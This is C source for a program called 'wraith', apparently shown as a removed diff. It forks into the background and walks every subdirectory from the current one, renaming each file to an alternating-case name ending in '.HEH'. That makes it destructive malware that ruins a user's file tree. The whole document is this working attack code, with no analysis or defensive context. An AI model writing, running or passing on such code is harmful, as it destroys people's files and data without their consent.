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- /* wraith.c coded by fred_ */
-
- #include <stdio.h>
- #include <ctype.h>
- #include <string.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <dirent.h>
- #include <unistd.h>
-
- char *c_file(char *filename)
- {
- int x, i;
- static char buffer[256];
-
- if (strstr(filename, ".") != NULL) {
- for (x = 0; filename[x]; x++) {
- if (filename[x] == '.')
- break;
-
- buffer[x] = filename[x];
- }
- buffer[x] = 0;
- } else
- strcpy((char *)buffer, filename);
-
- for (x = 0, i = 1; buffer[x]; x++) {
- if (i == 1) {
- buffer[x] = toupper(buffer[x]);
- i = 2;
- } else if (i == 2) {
- buffer[x] = tolower(buffer[x]);
- i = 1;
- } else
- buffer[x] = buffer[x];
- }
-
- x = strlen(buffer);
-
- buffer[x] = '.';
- buffer[x + 1] = 'H';
- buffer[x + 2] = 'E';
- buffer[x + 3] = 'H';
-
- return buffer;
- }
-
- int
- isDir(char *name)
- {
- int ret;
- struct stat *status;
- struct stat s[1];
-
- status = s;
-
- ret = lstat(name, s);
- if (ret == -1)
- return 0;
-
- return S_ISDIR(status->st_mode);
- }
-
- int
- main(int argc, char *argv[])
- {
- char *exec;
-
- if ((exec = (char *)malloc(256)) == NULL) {
- printf("Not enough memory\n");
- exit(1);
- }
-
- printf("starting wraith from the current working directory\n");
-
- #ifndef DEBUG
- printf("launching into the background..\n");
- if (fork())
- exit(1);
- #endif
-
- if (strstr(argv[0], "/") != NULL) {
- exec = strrchr(argv[0], '/');
- memmove(exec, exec + 1, strlen(exec));
- } else
- strcpy(exec, argv[0]);
-
- modify_dir(".", exec);
- }
-
- int
- modify_dir(char *directory, char *exec) {
- char *buffer, *newfile;
- struct dirent *files;
- DIR *dp;
-
- if ((buffer = (char *)malloc(256)) == NULL ||
- (newfile = (char *)malloc(256)) == NULL) {
- printf("Not enough memory.\n");
- exit(1);
- }
-
- dp = opendir(directory);
- while (1) {
- bzero(buffer, 256);
- bzero(newfile, 256);
- if ((files = readdir(dp)) == NULL)
- break;
-
- if (!strcmp(files->d_name, ".") ||
- !strcmp(files->d_name, ".."))
- continue;
-
- strncpy(buffer, files->d_name, 256);
-
- if (!strcmp(exec, buffer))
- continue;
-
- if (isDir(buffer) == 1) {
- #ifdef DEBUG
- printf("Changing to directory: %s\n",
- buffer);
- #endif
- if (chdir(buffer) == 0) {
- modify_dir(".", exec);
-
- #ifdef DEBUG
- printf("Changing to parent directory\n");
- #endif
- if (chdir("..") == -1)
- exit(1);
- } else
- continue;
- }
-
- newfile = c_file(buffer);
-
- if (strlen(newfile) > 0) {
- #ifdef DEBUG
- printf("Modified %s to %s\n",
- buffer, newfile);
- #endif
- if (rename(buffer, newfile) == -1)
- continue;
- }
- }
-
- closedir(dp);
- }
-